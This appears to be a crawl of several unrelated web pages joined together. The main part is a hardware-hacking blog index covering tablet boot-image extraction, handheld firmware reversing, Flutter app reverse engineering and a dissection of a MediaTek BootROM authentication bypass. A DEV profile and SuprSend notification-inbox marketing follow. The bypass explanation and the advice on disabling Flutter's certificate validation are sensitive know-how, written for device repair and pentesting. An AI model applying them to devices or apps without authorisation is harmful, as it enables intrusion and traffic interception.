internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Continue reading “Using U-Boot to extract Boot Image from Pritom P7” Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 Comments on Using U-Boot to extract Boot Image from Pritom P7 Reverse Engineering RG35XX Stock Firmware A friend gave me an Anbernic RG35XX to hack. This is a retro gaming device (it just means that it is designed to emulate old consoles). It comes with two OS: Stock OS and Garlic OS. Stock OS is closed source, and Garlic OS is open source, except for the kernel part (all are closed source). You can switch from one OS to another via a menu. Stock OS starting my custom binary. In my opinion, the stock OS is fast and quite user-friendly but is not customizable, although many people like Garlic OS more because it can emulate more systems. Kernel part Anbernic won’t release the source for ATM7039S, and no datasheet is found for this SOC. The stock RG35XX OS uses a slightly different kernel compared to the Garlic OS. Someone was able to compile the kernel from an old S500 device and have the GPU to work . Koriki for RG35XX was based on this kernel, but from the information in Discord, the latest Koriki release uses a stock kernel. There is no serial port accessible and no debug interface available, so trying to hack the kernel will be a painful experience. Stock RG35XX boot sequence The kernel is stored as a uImage file on the first partition (FAT32). The built-in bootloader (u-boot) will boot load this file, and it will mount ramdisk.img . Inside ramdisk.img , we can find: /init , /init.rc , loadapp.sh . The kernel will start /init , which is based on Android init (it uses bionic libc). /init will load /init.rc , and on the last lines, it contains instructions to start loadapp.sh service loadapp /system/bin/logwrapper /loadapp.sh class core loadapp.sh will load /system/dmenu/dmenu_ln . The dmenu_ln can be found on the second partition (ext4), and this is just a shell script that will start /mnt/vendor/bin/dmenu.bin that can also be found on the second partition. dmenu.bin is the main shell for the OS. This is written in C using SDL1.2, but it uses custom input handling instead of using SDL_WaitEvent . Custom Input Handling Some people swear that the input handling in the Stock RG35XX OS is faster than the other alternative OS. I can’t feel it, but the Stock OS does process input events manually. To reverse engineer how it works, I use Ghidra. Since this is not security-related software, there is no protection or obfuscation so the code can be decompiled quite cleanly. Reverse engineering It starts by opening /dev/input/ to find a device that has a name: gpio-keys-polled (this name is obtained using ioctl call with request EVIOCGNAME ). Then, it will start a thread (using pthread) to poll this device. The power button is a separate device from all other buttons, and the reset button (under the power button) is hardwired to reset the console. Emulator modification Inside appres/bin/game on the second partition, we can see several binaries for each emulator. All of them have been modified by Anbernic: They use custom error handling The menu button is set to display the menu (so all emulators have the same interface) Added Video filter effect (such as dot-matrix) implemented in C (not using GPU) Compiling for RG35XX stock OS Usually, we will need an SDK to compile an app, but since we know the target architecture, calling convention, and the libraries used, we can work around this problem. To compile a simple SDL app that will run on the Stock OS, we will need a compiler, header files, and some libraries. For the compiler, download Linaro toolchain 4.7 (closest to existing binaries on the system) from here (choose gnueabihf): https://releases.linaro.org/archive/12.11/components/toolchain/binaries/ For the headers, download the latest SDL1.2 and use the default SDL config. And for the libraries, we can use files from /lib on the second partition. Remove libc.so and libm.so , these two are bionic files and will cause errors. Then, add files from usr/local/lib/arm-linux-gnueabihf (also from the second partition). Then, you should be able just to compile everything manually. Outputs to stdout/stderr will not be visible, so use dup2 to redirect these to files. Small Demo App In this repository, you can see my small demo app. I included all the libraries to make it easy for anyone to start (please change CC path in Makefile to your installation directory). https://github.com/yohanes/rg35xx-stock-sdl-demo This is a very simple app to replace dmenu.bin (please rename the original dmenu.bin to orig.bin ), it only provides three functions: Testing key events Starting ADB (useful for transferring files and debugging), I Included my own ADB_ON.sh which needs to be copied to the same location as dmenu.bin Starting the original launcher (now named orig.bin ) I am not planning to develop this. Maybe someone can make a better launcher based on this. Author admin Posted on December 31, 2023 December 31, 2023 Categories hardware , reverse-engineering Leave a comment on Reverse Engineering RG35XX Stock Firmware When you deleted /lib on Linux while still connected via ssh Let’s first not talk about why this can happen, but deleting /lib , /usr/lib , or some other essential runtime files happens quite a lot (as you can see: here , here , here , and here ). In this post, I will only discuss what happens when you delete /lib on Linux and how to recover from that. The easy solution for everything is to replace the missing files, but this can be difficult if /lib is deleted because we won’t have ld-linux , which is needed to run any dynamic executable. When you deleted /lib , all non-static executable (such as ls , cat , etc , will output): No such file or directory You will also be unable to open any new connection using ssh, or open a new tmux window/pane if you are using tmux. So you can only rely on your current shell built in, and some static executables that you have on the system. If you have a static busybox installed, then it can be your rescue. You can use wget from busybox to download libraries from a clean system. For your information: Debian has busybox installed by default, but the default is not the static version. Minimal Debian install If you are worried that this kind of problem might happen to you in the future: Install the static version of the busybox binary, and confirm that it is the correct version. Installing static busybox Continue reading “When you deleted /lib on Linux while still connected via ssh” Author admin Posted on September 16, 2022 September 16, 2022 Categories debian , hacks , linux 1 Comment on When you deleted /lib on Linux while still connected via ssh Reverse Engineering a Flutter app by recompiling Flutter Engine It is not easy to reverse engineer a release version of a flutter app because the tooling is not available and the flutter engine itself changes rapidly. As of now, if you are lucky, you can dump the classes and method names of a flutter app using darter or Doldrums if the app was built with a specific version of Flutter SDK. If you are extremely lucky, which is what happened to me the first time I needed to test a Flutter App: you don’t even need to reverse engineer the app. If the app is very simple and uses a simple HTTPS connection, you can test all the functionalities using intercepting proxies such as Burp or Zed Attack Proxy. The app that I just tested uses an extra layer of encryption on top of HTTPS, and that’s the reason that I need to do actual reverse engineering. In this post, I will only give examples for the Android platform, but everything written here is generic and applicable to other platforms. The TLDR is: instead of updating or creating a snapshot parser, we just recompile the flutter engine and replace it in the app that we targeted. Flutter compiled app Currently several articles and repositories that I found regarding Flutter reverse engineering are: Reverse engineering Flutter for Android (explains the basic of snapshot format, introduces, Doldrums, as of this writing only supports snapshot version 8ee4ef7a67df9845fba331734198a953) Reverse engineering Flutter apps (Part 1) a very good article explaining Dart internals, unfortunately, no code is provided and part 2 is not yet available as of this writing darter: Dart snapshot parser a tool to dump snapshot version c8562f0ee0ebc38ba217c7955956d1cb The main code consists of two libraries libflutter.so (the flutter engine) and libapp.so (your code). You may wonder: what actually happens if you try to open a libapp.so (Dart code that is AOT compiled) using a standard disassembler. It’s just native code, right? If you use IDA, initially, you will only see this bunch of bytes. If you use other tools, such as binary ninja which will try to do some linear sweep, you can see a lot of methods. All of them are unnamed, and there are no string references that you can find. There is also no reference to external functions (either libc or other libraries), and there is no syscall that directly calls the kernel (like Go).. With a tool like Darter dan Doldrums, you can dump the class names and method names, and you can find the address of where the function is implemented. Here is an example of a dump using Doldrums. This helps tremendously in reversing the app. You can also use Frida to hook at these addresses to dump memory or method parameters. The snapshot format problem The reason that a specific tool can only dump a specific version of the snapshot is: the snapshot format is not stable, and it is designed to be run by a specific version of the runtime. Unlike some other formats where you can skip unknown or unsupported format, the snapshot format is very unforgiving. If you can’t parse a part, you can parse the next part. Basically, the snapshot format is something like this: <tag> <data bytes> <tag> <data bytes> … There is no explicit length given for each chunk, and there is no particular format for the header of the tag (so you can’t just do a pattern match and expect to know the start of a chunk). Everything is just numbers. There is no documentation of this snapshot, except for the source code itself. In fact, there is not even a version number of this format. The format is identified by a snapshot version string. The version string is generated from hashing the source code of snapshot-related files . It is assumed that if the files are changed, then the format is changed. This is true in most cases, but not always (e.g: if you edit a comment, the snapshot version string will change). My first thought was just to modify Doldrums or Darter to the version that I needed by looking at the diff of Dart sources code. But it turns out that it is not easy: enums are sometimes inserted in the middle (meaning that I need to shift all constants by a number). And dart also uses extensive bit manipulation using C++ template. For example, when I look at Doldums code, I saw something like this: def decodeTypeBits(value): return value & 0x7f I thought I can quickly check this constant in the code (whether it has changed or not in the new version), the type turns out to be not a simple integer. class ObjectPool : public Object { using TypeBits = compiler::ObjectPoolBuilderEntry::TypeBits; } struct ObjectPoolBuilderEntry { using TypeBits = BitField<uint8_t, EntryType, 0, 7>; } You can see that this Bitfield is implemented as BitField template class . This particular bit is easy to read, but if you see kNextBit , you need to look back at all previous bit definitions. I know it’s not that hard to follow for seasoned C++ developers, but still: to track these changes between versions, you need to do a lot of manual checks. My conclusion was: I don’t want to maintain the Python code, the next time the app is updated for retesting, they could have used a newer version of Flutter SDK, with another snapshot version. And for the specific work that I am doing: I need to test two apps with two different Flutter versions: one for something that is already released in the app store and some other app that is going to be released. Rebuilding Flutter Engine The flutter engine ( libflutter.so ) is a separate library from libapp.so (the main app logic code), on iOS, this is a separate framework. The idea is very simple: Download the engine version that we want Modify it to print Class names, Methods, etc instead of writing our own snapshot parser Replace the original libflutter.so library with our patched version Profit The first step is already difficult: how can we find the corresponding snapshot version? This table from darter helps, but is not updated with the latest version. For other versions, we need to hunt and test if it has matching snapshot numbers. The instruction for recompiling the Flutter engine is here , but there are some hiccups in the compilation and we need to modify the python script for the snapshot version. And also: the Dart internal itself is not that easy to work with. Most older versions that I tested can’t be compiled correctly. You need to edit the DEPS file to get it to compile. In my case: the diff is small but I need to scour the web to find this. Somehow the specific commit was not available and I need to use a different version. Note: don’t apply this patch blindly, basically check these two things: If a commit is not available, find nearest one from the release date If something refers to a _internal you probably should remove the _internal part. diff --git a/DEPS b/DEPS index e173af55a..54ee961ec 100644 --- a/DEPS +++ b/DEPS @@ -196,7 +196,7 @@ deps = { Var('dart_git') + '/dartdoc.git@b039e21a7226b61ca2de7bd6c7a07fc77d4f64a9', 'src/third_party/dart/third_party/pkg/ffi': - Var('dart_git') + '/ffi.git@454ab0f9ea6bd06942a983238d8a6818b1357edb', + Var('dart_git') + '/ffi.git@5a3b3f64b30c3eaf293a06ddd967f86fd60cb0f6', 'src/third_party/dart/third_party/pkg/fixnum': Var('dart_git') + '/fixnum.git@16d3890c6dc82ca629659da1934e412292508bba', @@ -468,7 +468,7 @@ deps = { 'src/third_party/android_tools/sdk/licenses': { 'packages': [ { - 'package': 'flutter_internal/android/sdk/licenses', + 'package': 'flutter/android/sdk/licenses', 'version': 'latest', } ], Now we can start editing the snapshot files to learn about how it works. But as mentioned early: if we modify the snapshot file: the snapshot hash will change, so we need to fix that by returning a static version number in third_party/dart/tools/make_version.py . If you touch any of these files in VM_SNAPSHOT_FILES , change the line snapshot_hash = MakeSnapshotHashString() with a static string to your specific version. What happens if we don’t patch the version? the app won’t start. So after patching (just start by printing a hello world) using OS::PrintErr("Hello World") and recompiling the code, we can test to replace the .so file, and run it. I made a lot of experiments (such as trying to FORCE_INCLUDE_DISASSEMBLER ), so I don’t have a clean modification to share but I can provide some hints of things to modify: in runtime/vm/clustered_snapshot.cc we can modify Deserializer::ReadProgramSnapshot(ObjectStore* object_store) to print the class table isolate->class_table()->Print() in runtime/vm/class_table.cc we can modify void ClassTable::Print() to print more informations For example, to print function names: const Array& funcs = Array::Handle(cls.functions()); for (intptr_t j = 0; j < funcs.Length(); j++) { Function& func = Function::Handle(); func = cls.FunctionFromIndex(j); OS::PrintErr("Function: %s", func.ToCString()); } Sidenote: SSL certificates Another problem with Flutter app is: it won’t trust a user installed root cert . This a problem for pentesting, and someone made a note on how to patch the binary (either directly or using Frida) to workaround this problem. Quoting TLDR of this blog post : Flutter uses Dart, which doesn’t use the system CA store Dart uses a list of CA’s that’s compiled into the application Dart is not proxy aware on Android, so use ProxyDroid with iptables Hook the session_verify_cert_chain function in x509.cc to disable chain validation By recompiling the Flutter engine, this can be done easily. We just modify the source code as-is ( third_party/boringssl/src/ssl/handshake.cc ), without needing to find assembly byte patterns in the compiled code. Obfuscating Flutter It is possible to obfuscate Flutter/Dart apps using the instructions provided here. This will make reversing to be a bit harder. Note that only the names are obfuscated, there is no advanced control flow obfuscation performed. Conclusion I am lazy, and recompiling the flutter engine is the shortcut that I take instead of writing a proper snapshot parser. Of course, others have similar ideas of hacking the runtime engine when reversing other technologies, for example, to reverse engineer an obfuscated PHP script, you can hook eval using a PHP module. Author admin Posted on March 7, 2021 March 8, 2021 Categories mobile , reverse-engineering , security 3 Comments on Reverse Engineering a Flutter app by recompiling Flutter Engine Dissecting a MediaTek BootROM exploit A bricked Xiaomi phone led me to discover a project in Github that uses a MediaTek BootROM exploit that was undocumented. The exploit was found by Xyz , and implemented by Chaosmaster . The initial exploit was already available for quite a while . Since I have managed to revive my phone, I am documenting my journey to revive it and also explains how the exploit works. This exploit allows unsigned code execution, which in turn allows us to read/write any data from our phone. For professionals: you can just skip to how the BootROM exploit works (spoiler: it is very simple). This guide will try to guide beginners so they can add support for their own phones. I want to show everything but it will violate MediaTek copyright, so I will only snippets of decompilation of the boot ROM. Bricking my Phone and understanding SP Flash Tool I like to use Xiaomi phones because it’s relatively cheap, has an easy way to unlock the bootloader, and the phone is easy to find here in Thailand. With an unlocked bootloader, I have never got into an unrecoverable boot loop, because I can usually boot into fastboot mode and just reflash with the original ROM. I usually buy a phone with Qualcomm SOC, but this time I bought Redmi 10X Pro 5G with MediaTek SOC (MT6873 also known as Dimensity 800). But it turns out: you can get bricked without the possibility to enter fastboot mode. A few years ago, it was easy to reflash a Mediatek phone: enter BROM mode (usually by holding the volume up button and plugging the USB when the phone is off), and use SP Flash Tool to overwrite everything (including boot/recovery partition). It works this way: we enter BROM mode, the SP Flash Tool will upload DA (download agent) to the phone, and SP Flash Tool will communicate with the DA to perform actions (erase flash, format data, write data, etc). But they have added more security now: when I tried flashing my phone, it displays an authentication dialog. It turns out that this is not your ordinary Mi Account dialog, but you need to be an Authorized Mi Account holder (usually from a service center). It turns out that just flashing a Mediatek phone may enter a boot loop without the possibility of entering fastboot mode. Quoting from an XDA article : The developers who have been developing for the Redmi Note 8 Pro have found that the device tends to get bricked for a fair few reasons. Some have had their phone bricked when they were flashing to the recovery partition from within the recovery, while others have found that installing a stock ROM through fastboot on an unlocked bootloader also bricks the device Xiaomi needs a better way to unbrick its devices instead of Authorized Mi Accounts I found one of the ROM modders that had to deal with a shady person on the Internet using remote Team Viewer to revive his phone. He has some explanation about the MTK BootROM security. To summarize: BROM can have SLA (Serial Link Authorization), DAA (Download Agent Authorization), or both. SLA prevents loading DA if we are not authorized. And DA can present another type of authentication. Using custom DA, we can bypass the DA security, assuming we can bypass SLA to allow loading the DA. When I read those article I decided to give up. I was ready to let go of my data. MTK Bypass By a stroke of luck, I found a bypass for various MTK devices was published just two days after I bricked my Phone. Unfortunately: MT6873 is not yet supported. To support a device, you just need to edit one file ( device.c ), which contains some addresses. Some of these addresses can be found from external sources (such as from the published Linux kernel for that SOC), but most can’t be found without access to the BootROM itself. I tried reading as much as possible about the BROM protocol. Some of the documentation that I found: MediaTek details: SoC startup : has a link to BROM documentation Support for Mediatek Devices in Oxygen Forensic® Detective (Explains about BROM protection) Another luck came in a few days later: Chaosmaster published a generic payload to dump the BootROM. I got lucky: the generic payload works immediately on the first try on my phone and I got my Boot ROM dump. Now we need to figure out what addresses to fill in. At this point, I don’t have another ROM to compare, so I need to be clever in figuring out these addresses. We need to find the following: send_usb_response usbdl_put_dword usbdl_put_data usbdl_get_data uart_reg0 uart_reg1 sla_passed skip_auth_1 skip_auth_2 From the main file that uses those addresses we can see that: uart_reg0 and uart_reg1 are required for proper handshake to work. These addresses can be found on public Linux kernel sources. usbdl_put_dword and usbdl_put_data is used to send data to our computer usbdl_get_data is used to read data from computer sla_passed , skip_auth_1 and skip_auth_2 , are the main variables that we need to overwrite so we can bypass the authentication We can start disassembling the firmware that we obtain fro the generic dumper. We need to load this to address 0x0. Not many strings are available to cross-reference so we need to get creative. Somehow generic_dump_payload can find the address for usb_put_data to send dumped bytes to the Python script. How does it know that? The source for generic_dump_payload is is available in ChaosMaster’s repository . But I didn’t find that information sooner so I just disassembled the file. This is a small binary, so we can reverse engineer it easily using binary ninja. It turns out that it does some pattern matching to find the prolog of the function: 2d e9 f8 4f 80 46 8a 46 . Actually, it searches for the second function that has that prolog. Pattern finder in generic_dump_payload Now that we find the send_word function we can see how sending works. It turns out that it sends a 32-bit value by sending it one byte at a time. Note: I tried continuing with Binary Ninja, but it was not easy to find cross-references to memory addresses on a raw binary, so I switched to Ghidra. After cleaning up the code a bit, it will look something like this: What generic_dump_payload found Now we just need to find the reference to function_pointers and we can find the real address for sendbyte . By looking at related functions I was able to find the addresses for: usbdl_put_dword , usbdl_put_data , usbdl_get_data . Note that the exploit can be simplified a bit, by replacing usbdl_put_dword by a call to usbdl_put_data so we get 1 less address to worry about. The hardest part for me was to find send_usb_response to prevent a timeout. From the main file , I know that it takes 3 numeric parameters (not pointers), and this must be called somewhere before we send data via USB. This narrows it down quite a lot and I can find the correct function. Now to the global variables: sla_passed , skip_auth_1 , and skip_auth_2 . When we look at the main exploit in Python, one of the first things that it does is to read the status of the current configuration. This is done by doing a handshake then retrieve the target config . Target config There must be a big “switch” statement in the boot ROM that handles all of these commands. We can find the handshake bytes ( A0 0A 50 05 ) to find the reference to the handshake routine (actually found two of them, one for USB and one for UART). From there we can find the reference to the big switch statement. The handshake You should be able to find something like this: after handshake it starts to handle commands And the big switch should be clearly visible. Switch to handle various commands Now that we found the switch, we can find the handler for command 0xd8 (get target config). Notice in python, the code is like this : Notice the bit mask By looking at the bitmask, we can conclude the name of the functions that construct the value of the config. E.g: we can name the function that sets the secure boot to is bit_is_secure_boot . Knowing this, we can inspect each bit_is_sla and bit_is_daa we can name the functions from the bit that it sets For SLA: we need to find cross-references that call bit_is_sla , and we can see that another variable is always consulted. If SLA is not set, or SLA is already passed, we are allowed to perform the next action. finding sla_passed Now we need to find two more variables for passing DAA. Looking at bit_is_daa , we found that at the end of this function, it calls a routine that checks if we have passed it. These are the last two variables that we are looking for. How the BootROM Exploit Works The exploit turns out very simple. We are allowed to upload data to a certain memory space The handler for USB control transfer blindly index a function pointer table Basically it something like this: handler_array[value*13](); But there are actually some problems: The value for this array is unknown, but we know that most devices will have 0x100a00 as one of the elements We can brute force the value for USB control transfer to invoke the payload We may also need to experiment with different addresses (since not all device has 0x100a00 as an element that can be used) Another payload is also provided to just restart the device. This will make it easy to find the correct address and control value. Closing Remarks Although I was very upset when my phone got bricked, the experience in solving this problem has been very exciting. Thank you to Xyz for finding this exploit, and ChaosMaster for implementing it, simplifying it, and also for answering my questions and reviewing this post. Author admin Posted on January 31, 2021 March 7, 2021 Categories hacks , hardware , reverse-engineering , security , writeup 18 Comments on Dissecting a MediaTek BootROM exploit Posts pagination Page 1 Page 2 … Page 10 Next page Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions Paula Gearon Just a girl, standing before a compiler, asking it to love her Location Spotsylvania, VA Joined Joined on Dec 1, 2018 Personal website http://mulgara.org/ github website Education Computer Engineering. Physics. Work Semantic Web Architect Seven Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least seven years. Got it Close Six Year Club This badge celebrates the longevity of those who have been a registered member of the DEV Community for at least six years. Got it Close Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. 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Got it Close More info about @quoll GitHub Repositories asami A flexible graph store, written in Clojure Clojure • 302 stars naga Datalog based rules engine Fork Clojure • 35 stars Skills/Languages Clojure, ClojureScript, Java, JavaScript, C, C++, SQL, SPARQL, RDF Currently learning Haskell, React Post 28 posts published Comment 54 comments written Tag 1 tag followed Repetition Paula Gearon Paula Gearon Paula Gearon Follow Mar 12 '25 Repetition # clojure 2 reactions Comments 1 comment 6 min read Want to connect with Paula Gearon? Create an account to connect with Paula Gearon. You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in Conversational AI Paula Gearon Paula Gearon Paula Gearon Follow May 19 '23 Conversational AI # ai # chatgpt # bard # llm 2 reactions Comments Add Comment 23 min read Stay Classy in OWL Paula Gearon Paula Gearon Paula Gearon Follow Nov 14 '22 Stay Classy in OWL # rdf # owl # sparql # rules 7 reactions Comments Add Comment 16 min read Classification Paula Gearon Paula Gearon Paula Gearon Follow Sep 28 '22 Classification # rdf # owl # sparql # rules Comments Add Comment 10 min read What Can't I do, as a Rule? Paula Gearon Paula Gearon Paula Gearon Follow Aug 22 '22 What Can't I do, as a Rule? # rdf # owl # sparql # rules 4 reactions Comments 4 comments 13 min read How fast is dc? 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https://www.suprsend.com/post/how-to-streamline-in-product-communication-with-suprsends-in-app-notification-center | How to Streamline In-Product Communication with SuprSend’s In-App Notification Center? Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Inapp Inbox Notifications How to Streamline In-Product Communication with SuprSend’s In-App Notification Center? Nikita Navral • October 26, 2024 TABLE OF CONTENTS The challenge of maintaining effective communication within applications has become increasingly complex. Recognizing this, the in-app notification center emerges as a transformative solution, reshaping the user experience by centralizing and streamlining in-app communication. This comprehensive exploration delves into the multifaceted aspects of in-app inbox notification center integration, drawing inspiration from successful implementations and providing actionable insights for seamless adoption. I. The Notification Overload Users find themselves grappling with a multitude of notifications each vying for attention through disparate channels. The fragmented nature of these alerts often leaves users overwhelmed, susceptible to missing crucial information, and at risk of disengagement. You should also check Maintaining Notification Center Hygiene - Expiring Outdated Messages in The InApp Inbox Notification Center Fragmented Channels : Push, SMS, email— each demanding attention at different times. Risk of Information Loss: Crucial updates may go unnoticed as users struggle to sift through multiple channels. User Disengagement: Overwhelmed users may resort to disabling notifications, leading to a potential disconnect. II. In-App Inbox Center: A Central Hub for Seamless Interaction The in-app inbox notification center emerges as a pivotal feature, offering a centralized repository designed to empower users by bringing all notifications under one roof. Check 6 Unique Types of In-App Notifications Every Product Manager Should Know. Streamlined Experience: Users gain the ability to access and manage all notifications in one designated space, simplifying the user experience. Reduced Fatigue: A historical notification feed minimizes the pressure to respond immediately, fostering a more relaxed interaction model. User Empowerment: The In-app Inbox center provides users with a sense of control over their interactions with the application. III. Learning from Success: Examples of Inbox Feeds Done Right Examining successful implementations of Inbox Feeds on platforms such as Facebook, Reddit, Atlassian, LinkedIn, and GitHub provides invaluable insights. These platforms serve as exemplary models, showcasing how centralized notification repositories can significantly enhance user engagement. More use-cases here 5 Mobile Inbox Transactional Use-Cases That Businesses Are Using To Improve Customer Engagement. Facebook's News Feed: An exemplar of a historical list of events since the last login, offering a comprehensive view of interactions within the application. Reddit's Notification Repository: A centralized hub linking to new messages, comments, and popular subreddits, providing an efficient way for users to stay informed. GitHub's Notification Inbox: Inclusive of assignments, review requests, and activity-dependent notifications, showcasing the versatility of an Inbox Feed in varied contexts. IV. Collaboration Made Seamless: Effective Distribution of Information In the realm of B2B SaaS applications, collaboration hinges on efficient information distribution. The Inbox Feed proves instrumental in ensuring that users stay informed about project updates, mentions, conversations, and deadline changes. Project Visibility: Users can grasp the status of projects, fostering effective collaboration among team members. Timely Updates : Ensures users are informed about changes when they log into the application, avoiding potential lapses in communication. Deadline Management: Critical for teams working within strict deadlines, the Inbox Feed becomes a vital tool for managing project timelines. V. Workflow Automation Harmony: Navigating Project Dynamics Workflow automation lies at the core of many B2B SaaS applications. The Inbox Feed becomes a linchpin, offering users a clear understanding of ongoing projects, administrative requests, and actions required from others. Clear Visualization: The In-app Inbox empowers users to comprehend the overall scope of projects, facilitating efficient task management. Preventing Delays : Real-world examples, such as Atlassian’s integration of in-app inbox, highlight its role in avoiding delays in the development and approval process. VI. The Future: Inbox Feed as the Cornerstone of User Communication As the digital landscape continues to evolve, the In-app Inbox stands as a beacon of effective user communication. Its implementation transcends the limitations of traditional notification methods, offering a user-centric approach that aligns with evolving user preferences. Enhanced User Engagement : Reduced fatigue and streamlined interactions foster a positive user experience, contributing to sustained user engagement. Interactive Communication: The Inbox Feed represents an evolving paradigm that respects user preferences, facilitating meaningful exchanges. Real-world Success: Learnings from platforms like LinkedIn emphasize the practical benefits in real-world scenarios, underscoring the relevance of In-app Inbox Center integration. VII. Recommendations for Implementation Considering the transformative potential of Mobile Inbox Center, strategic implementation becomes crucial. Key recommendations ensure seamless integration and optimal utilization. User Education : A comprehensive understanding of the benefits of the Inbox Feed is crucial for user acceptance and optimal utilization. Customization Options : Allowing users to tailor their notification preferences within the Inbox Feed enhances user control and personalization. Performance Optimization : Implementing scalable backend APIs ensures a smooth and responsive user experience, vital for the success of Inbox Feed integration. VIII. Implement In-App Inbox Notification Center with SuprSend SDK’s Front-End Integration: For getting a complete web inbox notification feed in your website's frontend, you can use suprsend-react-inbox to ngx-suprsend-inbox. For mobile inboxes, you can use suprsend-react-headless or suprsend-flutter-inbox . Back-End Considerations: With suprsend-react-inbox you don’t need to worry about backend considerations, as everything is managed at our end, including all the retrying mechanisms. Use the SuprSend API for a single function call to notify users across any configured channel. Users can delete notifications, contributing to a well-organized and clutter-free feed. Build or Buy Decision: Consider the trade-offs between building a custom inbox feature or using SuprSend as a reliable and easily integrated service. If web-native customization is your primary requirement, you might try suprsend-react-headless to implement and customize the UI/ UX of your in-app inbox without having to develop backend and front from scratch. Dedicated developer support is crucial for resolving issues and ensuring timely updates to feeds upon user login. We built an in-depth Build vs Buy guide to help you make your decision: Build vs Buy For Notification System - The Ultimate Guide For Decision-Making in Notification Infrastructure Development Reliability and Relevance: The effectiveness of the inbox feed relies on its reliability and relevance, similar to all notification features. Customization Options: Utilize SuprSend's pre-built inbox components for easy customization of the Inbox with the configuration studio. For more granular control, customize our provided placeholder code for Inbox feed according to your application's specific needs. Explore InApp Inbox Before Use! IX. Conclusion: Redefining Communication for the Modern User In conclusion, the SuprSend In-App Inbox Notification Center emerges as a powerful tool inspired by real-world successes and user-centric design principles. By incorporating this feature, applications can transcend conventional communication barriers, paving the way for a new era of interactive and meaningful exchanges. For next read, you can check out How Mobile Inbox Increases User Engagement? (including a case study with inapp-inbox). Share this blog on: Written by: Nikita Navral Co-Founder, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. 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https://docs.suprsend.com/docs/brands | Tenants - SuprSend, Notification infrastructure for Product teams Skip to main content SuprSend, Notification infrastructure for Product teams home page Search... ⌘ K Community Trust Center Platform Status Postman Collection GETTING STARTED What is SuprSend? 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Navigation CORE CONCEPTS Tenants Documentation API Reference Management API CLI Reference Developer Resources Changelog Documentation API Reference Management API CLI Reference Developer Resources Changelog CORE CONCEPTS 